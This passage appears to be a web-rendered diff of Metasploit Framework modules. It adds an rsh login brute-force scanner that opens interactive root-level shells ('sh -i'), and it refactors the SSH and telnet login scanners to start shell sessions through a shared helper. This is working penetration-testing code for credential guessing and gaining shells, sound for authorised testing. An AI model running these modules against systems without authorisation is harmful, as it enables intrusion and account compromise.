||||
'USER_FILE' => nil,
|
||||
'PASS_FILE' => nil,
|
||||
'USERNAME' => user,
|
||||
'LOCALUSER' => luser,
|
||||
'PASSWORD' => pass
|
||||
}
|
||||
|
||||
start_session(self, "RLOGIN #{user}:#{pass} (#{host}:#{port})", merge_me)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,185 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::RServices
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::CommandShell
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'rsh Authentication Scanner',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This module will test a shell (rsh) service on a range of machines and
|
||||
report successful logins.
|
||||
|
||||
NOTE: This module requires access to bind to privileged ports (below 1024).
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '1999-0651' ]
|
||||
],
|
||||
'Author' => [ 'jduck '],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(514),
|
||||
OptBool.new('ENABLE_STDERR', [ true, 'Enables connecting the stderr port', false ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_status("#{ip}:#{rport} - Starting rsh sweep")
|
||||
|
||||
if datastore['ENABLE_STDERR']
|
||||
# For each host, bind a privileged listening port for the target to connect
|
||||
# back to.
|
||||
ret = listen_on_privileged_port
|
||||
if not ret
|
||||
return :abort
|
||||
end
|
||||
sd, lport = ret
|
||||
else
|
||||
sd = lport = nil
|
||||
end
|
||||
|
||||
# The maximum time for a host is set here.
|
||||
Timeout.timeout(300) {
|
||||
each_user_pass { |user, pass|
|
||||
do_login(user, pass, sd, lport)
|
||||
}
|
||||
}
|
||||
|
||||
sd.close if sd
|
||||
end
|
||||
|
||||
|
||||
def do_login(user, pass, sfd, lport)
|
||||
vprint_status("#{target_host}:#{rport} - Attempting rsh with username:password '#{user}':'#{pass}'")
|
||||
|
||||
cmd = datastore['CMD']
|
||||
cmd ||= 'sh -i 2>&1'
|
||||
luser = datastore['LOCALUSER']
|
||||
luser ||= 'root'
|
||||
|
||||
# We must connect from a privileged port.
|
||||
return :abort if not connect_from_privileged_port(1022)
|
||||
|
||||
sock.put("#{lport}\x00#{luser}\x00#{user}\x00#{cmd}\x00")
|
||||
|
||||
if sfd and lport
|
||||
stderr_sock = sfd.accept
|
||||
add_socket(stderr_sock)
|
||||
else
|
||||
stderr_sock = nil
|
||||
end
|
||||
|
||||
# Read the expected nul byte response.
|
||||
buf = sock.get_once(1)
|
||||
return :abort if buf != "\x00"
|
||||
|
||||
# NOTE: We report this here, since we are awfully convinced now that this is really
|
||||
# an rsh service.
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:name => 'rsh'
|
||||
)
|
||||
|
||||
# should we report a vuln here? rsh allowed w/o password?!
|
||||
print_good("#{target_host}:#{rport}, rsh '#{user}' from '#{luser}' with no password.")
|
||||
start_rsh_session(rhost, rport, user, luser, pass, buf, stderr_sock)
|
||||
|
||||
return :next_user
|
||||
|
||||
# For debugging only.
|
||||
#rescue ::Exception
|
||||
# print_error("#{$!}")
|
||||
# return :abort
|
||||
|
||||
ensure
|
||||
disconnect()
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This is only needed by RSH so it is not in the rservices mixin
|
||||
#
|
||||
def listen_on_privileged_port
|
||||
lport = 1023
|
||||
sd = nil
|
||||
while lport > 512
|
||||
#vprint_status("Trying to listen on port #{lport} ..")
|
||||
sd = nil
|
||||
begin
|
||||
sd = Rex::Socket.create_tcp_server('LocalPort' => lport)
|
||||
|
||||
rescue Rex::AddressInUse
|
||||
# Ignore and try again
|
||||
|
||||
end
|
||||
|
||||
break if sd
|
||||
lport -= 1
|
||||
end
|
||||
|
||||
if not sd
|
||||
print_error("Unable to bind to listener port")
|
||||
return false
|
||||
end
|
||||
|
||||
add_socket(sd)
|
||||
#print_status("Listening on port #{lport}")
|
||||
[ sd, lport ]
|
||||
end
|
||||
|
||||
|
||||
def start_rsh_session(host, port, user, luser, pass, proof, stderr_sock)
|
||||
report_auth_info(
|
||||
:host => host,
|
||||
:port => port,
|
||||
:sname => 'rsh',
|
||||
:user => user,
|
||||
:luser => luser,
|
||||
:pass => pass,
|
||||
:proof => proof,
|
||||
:active => true
|
||||
)
|
||||
|
||||
merge_me = {
|
||||
'USERPASS_FILE' => nil,
|
||||
'USER_FILE' => nil,
|
||||
'PASS_FILE' => nil,
|
||||
'USERNAME' => user,
|
||||
'LOCALUSER' => luser,
|
||||
'PASSWORD' => pass,
|
||||
# Save a reference to the socket so we don't GC prematurely
|
||||
:stderr_sock => stderr_sock
|
||||
}
|
||||
|
||||
# Don't tie the life of this socket to the exploit
|
||||
self.sockets.delete(stderr_sock)
|
||||
|
||||
start_session(self, "RSH #{user}:#{pass} (#{host}:#{port})", merge_me)
|
||||
end
|
||||
|
||||
end
|
|
@ -11,15 +11,13 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'net/ssh'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
include Msf::Auxiliary::CommandShell
|
||||
|
||||
attr_accessor :ssh_socket, :good_credentials
|
||||
|
||||
|
@ -98,19 +96,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# Create a new session
|
||||
conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true)
|
||||
sess = Msf::Sessions::CommandShell.new(conn.lsock)
|
||||
sess.set_from_exploit(self)
|
||||
sess.info = "SSH #{user}:#{pass} (#{ip}:#{port})"
|
||||
|
||||
# Clean up the stored data
|
||||
sess.exploit_datastore['USERPASS_FILE'] = nil
|
||||
sess.exploit_datastore['USER_FILE'] = nil
|
||||
sess.exploit_datastore['PASS_FILE'] = nil
|
||||
sess.exploit_datastore['USERNAME'] = user
|
||||
sess.exploit_datastore['PASSWORD'] = pass
|
||||
|
||||
framework.sessions.register(sess)
|
||||
sess.process_autoruns(datastore)
|
||||
merge_me = {
|
||||
'USERPASS_FILE' => nil,
|
||||
'USER_FILE' => nil,
|
||||
'PASS_FILE' => nil,
|
||||
'USERNAME' => user,
|
||||
'PASSWORD' => pass
|
||||
}
|
||||
start_session(self, "SSH #{user}:#{pass} (#{ip}:#{port})", merge_me, false, conn.lsock)
|
||||
|
||||
return [:success, proof]
|
||||
else
|
||||
|
|
|
@ -11,15 +11,13 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'net/ssh'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
include Msf::Auxiliary::CommandShell
|
||||
|
||||
attr_accessor :ssh_socket, :good_credentials, :good_key
|
||||
|
||||
|
@ -212,24 +210,24 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# Create a new session
|
||||
conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true)
|
||||
sess = Msf::Sessions::CommandShell.new(conn.lsock)
|
||||
sess.set_from_exploit(self)
|
||||
sess.info = "SSH #{user}:#{self.good_key} (#{ip}:#{port})"
|
||||
|
||||
# Clean up the stored data - need to stash the keyfile into
|
||||
# a datastore for later reuse.
|
||||
merge_me = {
|
||||
'USERPASS_FILE' => nil,
|
||||
'USER_FILE' => nil,
|
||||
'PASS_FILE' => nil,
|
||||
'USERNAME' => user
|
||||
}
|
||||
if datastore['KEY_FILE'] and !datastore['KEY_FILE'].empty?
|
||||
keyfile = File.open(datastore['KEY_FILE'], "rb") {|f| f.read(f.stat.size)}
|
||||
sess.exploit_datastore['SSH_KEYFILE_B64'] = [keyfile].pack("m*").gsub("\n","")
|
||||
sess.exploit_datastore['KEY_FILE'] = nil
|
||||
merge_me.merge!(
|
||||
'SSH_KEYFILE_B64' => [keyfile].pack("m*").gsub("\n",""),
|
||||
'KEY_FILE' => nil
|
||||
)
|
||||
end
|
||||
sess.exploit_datastore['USERPASS_FILE'] = nil
|
||||
sess.exploit_datastore['USER_FILE'] = nil
|
||||
sess.exploit_datastore['PASS_FILE'] = nil
|
||||
sess.exploit_datastore['USERNAME'] = user
|
||||
|
||||
framework.sessions.register(sess)
|
||||
sess.process_autoruns(datastore)
|
||||
start_session(self, "SSH #{user}:#{self.good_key} (#{ip}:#{port})", merge_me, false, conn.lsock)
|
||||
|
||||
return [:success, proof]
|
||||
else
|
||||
|
|
|
@ -10,27 +10,14 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
#
|
||||
# Ghetto
|
||||
#
|
||||
module CRLFLineEndings
|
||||
def put(str)
|
||||
return super if not str
|
||||
super(str.strip + "\r\n")
|
||||
end
|
||||
end
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Telnet
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
include Msf::Auxiliary::CommandShell
|
||||
|
||||
def initialize
|
||||
super(
|
||||
|
@ -223,7 +210,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
def report_telnet(user,pass,proof)
|
||||
def report_telnet(user, pass, proof)
|
||||
print_good("#{rhost} - SUCCESSFUL LOGIN #{user} : #{pass}")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
|
@ -236,27 +223,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
end
|
||||
|
||||
def start_telnet_session(host,port,user,pass)
|
||||
# Windows telnet server requires \r\n line endings and it doesn't
|
||||
# seem to affect anything else.
|
||||
sock.extend(CRLFLineEndings)
|
||||
sess = Msf::Sessions::CommandShell.new(sock)
|
||||
sess.set_from_exploit(self)
|
||||
sess.info = "TELNET #{user}:#{pass} (#{host}:#{port})"
|
||||
def start_telnet_session(host, port, user, pass)
|
||||
merge_me = {
|
||||
'USERPASS_FILE' => nil,
|
||||
'USER_FILE' => nil,
|
||||
'PASS_FILE' => nil,
|
||||
'USERNAME' => user,
|
||||
'PASSWORD' => pass
|
||||
}
|
||||
|
||||
# Clean up the stored data
|
||||
sess.exploit_datastore['USERPASS_FILE'] = nil
|
||||
sess.exploit_datastore['USER_FILE'] = nil
|
||||
sess.exploit_datastore['PASS_FILE'] = nil
|
||||
sess.exploit_datastore['USERNAME'] = user
|
||||
sess.exploit_datastore['PASSWORD'] = pass
|
||||
|
||||
# Prevent the socket from being closed
|
||||
self.sockets.delete(self.sock)
|
||||
self.sock = nil
|
||||
|
||||
framework.sessions.register(sess)
|
||||
sess.process_autoruns(datastore)
|
||||
start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue